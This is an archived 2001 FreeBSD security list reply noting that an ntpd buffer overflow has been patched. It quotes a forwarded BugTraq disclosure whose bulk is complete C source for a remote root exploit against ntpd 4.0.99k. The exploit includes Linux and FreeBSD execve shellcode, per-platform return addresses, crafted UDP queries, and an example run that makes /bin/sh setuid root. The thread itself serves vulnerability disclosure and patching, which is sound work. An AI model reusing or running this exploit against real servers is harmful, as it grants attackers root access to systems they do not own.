Date: Thu, 05 Apr 2001 01:55:57 +0200 From: Poul-Henning Kamp <phk@critter.freebsd.dk> To: Michael Bryan <fbsd-secure@ursine.com> Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: ntpd =< 4.0.99k remote buffer overflow Message-ID: <52565.986428557@critter> In-Reply-To: Your message of "Wed, 04 Apr 2001 16:46:43 PDT." <3ACBB263.2804E9C2@ursine.com>
next in thread | previous in thread | raw e-mail | index | archive | help
This has already been fixed in FreeBSD current & stable an hour
ago or so.
Poul-Henning
In message <3ACBB263.2804E9C2@ursine.com>, Michael Bryan writes:
>
>Heads up. This just came across BugTraq, will likely affect FreeBSD.
>As of 4.2-RELEASE, the ntpd that ships with FreeBSD is 4.0.99b.
>
>
>-------- Original Message --------
>From: Przemyslaw Frasunek <venglin@FREEBSD.LUBLIN.PL>
>Subject: ntpd =< 4.0.99k remote buffer overflow
>To: BUGTRAQ@SECURITYFOCUS.COM
>
>/* ntpd remote root exploit / babcia padlina ltd. <venglin@freebsd.lublin.pl> */
>
>/*
> * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable
> * to remote buffer overflow attack. It occurs when building response for
> * a query with large readvar argument. In almost all cases, ntpd is running
> * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver.
> *
> * Althought it's a normal buffer overflow, exploiting it is much harder.
> * Destination buffer is accidentally damaged, when attack is performed, so
> * shellcode can't be larger than approx. 70 bytes. This proof of concept code
> * uses small execve() shellcode to run /tmp/sh binary. Full remote attack
> * is possible.
> *
> * NTP is stateless UDP based protocol, so all malicious queries can be
> * spoofed.
> *
> * Example of use on generic RedHat 7.0 box:
> *
> * [venglin@cipsko venglin]$ cat dupa.c
> * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); }
> * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
> * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
> * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
> * ntpdx v1.0 by venglin@freebsd.lublin.pl
> *
> * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
> *
> * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
> * [1] <- evil query (pkt = 512 | shell = 45)
> * [2] <- null query (pkt = 12)
> * Done.
> * /tmp/sh was spawned.
> * [venglin@cipsko venglin]$ ls -al /bin/bash
> * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash
> *
> */
>
>#include <stdio.h>
>#include <stdlib.h>
>#include <stdarg.h>
>#include <string.h>
>#include <sys/types.h>
>#include <sys/socket.h>
>#include <netinet/in.h>
>#include <netdb.h>
>#include <unistd.h>
>#include <arpa/inet.h>
>
>#define NOP 0x90
>#define ADDRS 8
>#define PKTSIZ 512
>
>static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
>
>/* generic execve() shellcodes */
>
>char lin_execve[] =
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
> "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> "\x80\xe8\xdc\xff\xff\xff/tmp/sh";
>
>char bsd_execve[] =
> "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
> "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
> "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
> "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
>
>struct platforms
>{
> char *os;
> char *version;
> char *code;
> long ret;
> int align;
> int shalign;
> int port;
>};
>
>/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
> * *after* RET address. This values will vary from platform to platform.
> */
>
>struct platforms targ[] =
>{
> { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> 0xbfbff8bc, 200, 220, 0 },
>
> { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
> 0xbfbff540, 200, 220, 0 },
>
> { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
> 0xbffff777, 240, 160, 0 },
>
> { NULL, NULL, NULL, 0x0, 0, 0, 0 }
>};
>
>long getip(name)
>char *name;
>{
> struct hostent *hp;
> long ip;
> extern int h_errno;
>
> if ((ip = inet_addr(name)) < 0)
> {
> if (!(hp = gethostbyname(name)))
> {
> fprintf(stderr, "gethostbyname(): %s\n",
> strerror(h_errno));
> exit(1);
> }
> memcpy(&ip, (hp->h_addr), 4);
> }
>
> return ip;
>}
>
>int doquery(host, ret, shellcode, align, shalign)
>char *host, *shellcode;
>long ret;
>int align, shalign;
>{
> /* tcpdump-based reverse engineering :)) */
>
> char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
> 0x74, 0x75, 0x6d, 0x3d };
>
> char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
> 0x00, 0x00, 0x00, 0x00 };
>
> char buf[PKTSIZ], *p;
> long *ap;
> int i;
>
> int sockfd;
> struct sockaddr_in sa;
>
> bzero(&sa, sizeof(sa));
>
> sa.sin_family = AF_INET;
> sa.sin_port = htons(123);
> sa.sin_addr.s_addr = getip(host);
>
> if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
> {
> perror("socket");
> return -1;
> }
>
> if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
> {
> perror("connect");
> close(sockfd);
> return -1;
> }
>
> memset(buf, NOP, PKTSIZ);
> memcpy(buf, q2, sizeof(q2));
>
> p = buf + align;
> ap = (unsigned long *)p;
>
> for(i=0;i<ADDRS/4;i++)
> *ap++ = ret;
>
> p = (char *)ap;
>
> memcpy(buf+shalign, shellcode, strlen(shellcode));
>
> if((write(sockfd, buf, PKTSIZ)) < 0)
> {
> perror("write");
> close(sockfd);
> return -1;
> }
>
> fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
> strlen(shellcode));
> fflush(stderr);
>
> if ((write(sockfd, q3, sizeof(q3))) < 0)
> {
> perror("write");
> close(sockfd);
> return -1;
> }
>
> fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
> fflush(stderr);
>
> close(sockfd);
> return 0;
>}
>
>int main(argc, argv)
>int argc;
>char **argv;
>{
> extern int optind, opterr;
> extern char *optarg;
> int ch, type, ofs, i;
> long ret;
>
> opterr = ofs = 0;
> type = -1;
>
> while ((ch = getopt(argc, argv, "t:o:")) != -1)
> switch((char)ch)
> {
> case 't':
> type = atoi(optarg);
> break;
>
> case 'o':
> ofs = atoi(optarg);
> break;
>
> case '?':
> default:
> puts(usage);
> exit(0);
>
> }
>
> argc -= optind;
> argv += optind;
>
> fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");
>
> if (type < 0)
> {
> fprintf(stderr, "Please select platform:\n");
> for (i=0;targ[i].os;i++)
> {
> fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
> targ[i].os, targ[i].version, (void *)targ[i].ret);
> }
>
> exit(0);
> }
>
> fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
> targ[type].os, targ[type].version);
>
> ret = targ[type].ret;
> ret += ofs;
>
> if (argc != 1)
> {
> puts(usage);
> exit(0);
> }
>
> fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
> (void *)ret, targ[type].align, targ[type].shalign);
>
> if (doquery(*argv, ret, targ[type].code, targ[type].align,
> targ[type].shalign) < 0)
> {
> fprintf(stderr, "Failed.\n");
> exit(1);
> }
>
> fprintf(stderr, "Done.\n");
>
> if (!targ[type].port)
> {
> fprintf(stderr, "/tmp/sh was spawned.\n");
> exit(0);
> }
>
> exit(0);
>}
>
>--
>* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
>* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-security" in the body of the message
>
--
Poul-Henning Kamp | UNIX since Zilog Zeus 3.20
phk@FreeBSD.ORG | TCP/IP since RFC 956
FreeBSD committer | BSD since 4.3-tahoe
Never attribute to malice what can adequately be explained by incompetence.
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?52565.986428557>